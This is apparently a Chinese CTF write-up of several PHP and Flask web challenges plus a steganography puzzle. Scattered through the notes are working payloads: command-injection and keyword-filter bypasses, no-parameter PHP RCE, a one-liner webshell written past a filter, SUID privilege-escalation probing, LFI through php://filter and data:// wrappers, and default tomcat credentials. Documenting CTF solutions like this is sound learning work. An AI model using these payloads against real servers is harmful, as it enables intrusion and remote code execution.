web PING OK: & url编码 BAN: ; | ` / ^ ~ > < ? $ badrequest # 数组也不行 l\s ls&curl 127.0.0.1 一点延迟回显都没有 可以直接访问flag.php 赛后居然发现是nl flag.php 无语了
pop 简单的链子
Fastdestruct 破坏掉就行了,把最后一个花括号删了。 https://www.jianshu.com/p/38606134fdd6
May_be <?php highlight_file(__FILE__); $a = $_GET['a']; if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) { if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){ eval($a); }else{ die("May be you should bypass."); } }else{ die("nonono"); } ?> nonono
无参数rce
print_r(scandir(current(localeconv()))); var_dump(get_defined_vars()); 拿网上的payload打一下,然后可以执行。结果是得提权。 https://blog.csdn.net/Manuffer/article/details/120738755 ?a=eval(end(current(get_defined_vars())));&shell=system('ls');
找到权限
find / -perm -u=s -type f 2>/dev/null /bin/mount /bin/cp /bin/su /bin/umount /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpasswd 做多了题目就发现,里面cp可能可以提权
搜了一下cp提权可能得要输入密码,然后思路是写一句话木马,然后蚁剑链接,就可以终端输入密码了。然后就开始坑的地方
题目会把写的一句话木马的一些内容给你换掉,比如$_GET等,还有'单引号,换成空的,而$_GET我猜测只换了一次,那我双写一下试试,结果就写进去了,而'单引号,试了一下,发现会多次置空,那我猜测转义一下,没想到就写进去了。(如何发现的,我cat了我写进去的文件,发现我的马被人偷了一部分。。。然后对照着改的) 下面是payload ?a=eval(end(current(get_defined_vars()))); &shell=$_GET['s'];&s=system("echo '<?php @eval($$_GET[1]_POST['\'van\'']);?>' > 2.php"); 写完直接访问2.php,记住蚁剑是用post的,不是用get的。
然后进入终端交互模式,结果发现不能输入密码,提示说什么认证错误还是不允许。查找其他方法。
待学
无参数rce https://blog.csdn.net/weixin_46330722/article/details/110840156 https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_5 https://cloud.tencent.com/developer/article/1760288 https://blog.csdn.net/Manuffer/article/details/120738755 https://blog.csdn.net/weixin_30568317/article/details/116284685
Hackerconfused <?php error_reporting(0); $CanRead = false; class SFile{ public $name; public function __construct($name) { $this->name = $name; } public function __toString(){ $num = count(scandir($this->name)); if($num > 0){ return 'Not null'; } else { return 'Access the backdoor_******.php.* in [0-f]'; } } } class Funny{ public $name; public function __construct($name){ if(strstr($name, 'backdoor')===false){ $this->name = $name; }else{ $this->name = 'nohint.txt'; } } public function __toString(){ return $this->name; } public function __destruct(){ global $CanRead; if(strstr($name, 'backdoor')!==false){ die('try again'); } if($CanRead){ echo(file_get_contents($this->name)); } } } class Fun{ public $secret = 'nohint.txt'; public function __wakeup(){ echo $this->secret; } public function __toString(){ global $CanRead; $CanRead = true; return (new Funny($this->secret))->name; } } if(isset($_GET['p'])){ unserialize(base64_decode($_GET['p'])); }else{ show_source(__FILE__); }
LFI 任意读取文件,看到内网还有主机存活172.16.7.43,扫了一下,发现后面基本访问速度很慢,应该是不让扫的。那得换换思路。时间有限,没找出来。
不太喜欢flask的开发 题目描述:
这个开发以前做java的,不太喜欢flask,那源码中自然会有一些习惯和缺陷了
尝试:
开环境上去就得用户密码。 最后得出来是tomcat/tomcat 连上去后抓包 有Authorization: Basic dG9tY2F0OnRvbWNhdA== 然后response: you are not our client,please guess our SECRET_KEY and Generating cookies using keys ,then view /search?flag=***** 直接访问/search?flag=后会 {"msg":"Missing cookie \"access_token_cookie\""} 加上cookie access_token_cookie=12334 会有no enough segments 猜jwt access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.04lcEO1dxtIIBa-Bt_tw8kmO8HpAwqb8BLCHz98S10w 返回{"msg":"Signature verification failed"} 扫不到目录,搜了一下可能是WEB-INF/web.xml泄露,但是也不清楚
完美网站 重定向-抓包
url base64解码得到tupian.png 自己改改,会报错。然后说n是30-10的,自己加上get n 不会报错。 尝试爆破n,可以读出内容。 读一下index.php 然后尝试文件包含,找不到内容。 卡住。没想到tupian.png有信息。winhex分析,最下面有提示一个PHP文件 ffffpq.php 然后读取就行了。
<?php header("Content-type:text/html;charset=utf-8"); echo "å«éå®åäºï¼èµ¶å¿«è®©æï¼?n=30-10,以å
çæ°å¼ã)-_-"; $image=$_GET['img']; $allow = range(2,20); shuffle($allow); if(($_GET['n']==$allow[0])){ $image = base64_decode($image); $data = base64_encode(file_get_contents($image)); echo "<img src='data:image/png;base64,$data'/>"; }else{ $image = base64_encode("tupian.png"); header("location:/?img=".$image); }//index.php
一些尝试 读不出来 ../../../flag Flag.php Flag.txt 读得出来 /etc/passwd ../../../var/www/html/index.php ../../../etc/passwd php://filter/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=/etc/passwd data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== 会被解析,返回PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== <?php system("cat flag.php");?>
本来没去分析一下图片,还想着上传临时文件,然后去文件包含呢。。。
notrce <?php highlight_file(__FILE__); error_reporting(0); $c=$_POST['c']; if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){ exec($c); }else{ die("hacker"); }
c=cp /flag 1.txt 无回显rce,直接出了,可能还可以取反绕过 待学学(坑) https://blog.csdn.net/weixin_46706771/article/details/119031343 https://www.cnblogs.com/pursue-security/p/15406672.html
misc 传说中的小黑 下载下来是一个图片,winhex 正常分析一波,看到有zip,foremost出来,要密码。那么尝试一下伪加密,改了一下没成功。那么寻找密钥,在图片winhex中找到了一段base64的密文,就在压缩包文件头(PK)前面,然后得到密码。解压后得到一大串数据,观察一下,A-Z,0-9,base16(hex)。cyberchef转换一下,然后输出为文件。观察到是JFIF——图片,少了文件头,手动添加一下 FFD8FFE0,然后再打开即可。扫一下二维码。
(拖到winhex中,然后在文件头右键——编辑——粘贴0字节,4个。然后敲即可)
坑:利用一个在线网站得出来的是错误的,换成cyberchef就正常了。(在操作那里拖一个from hex出来。就行了。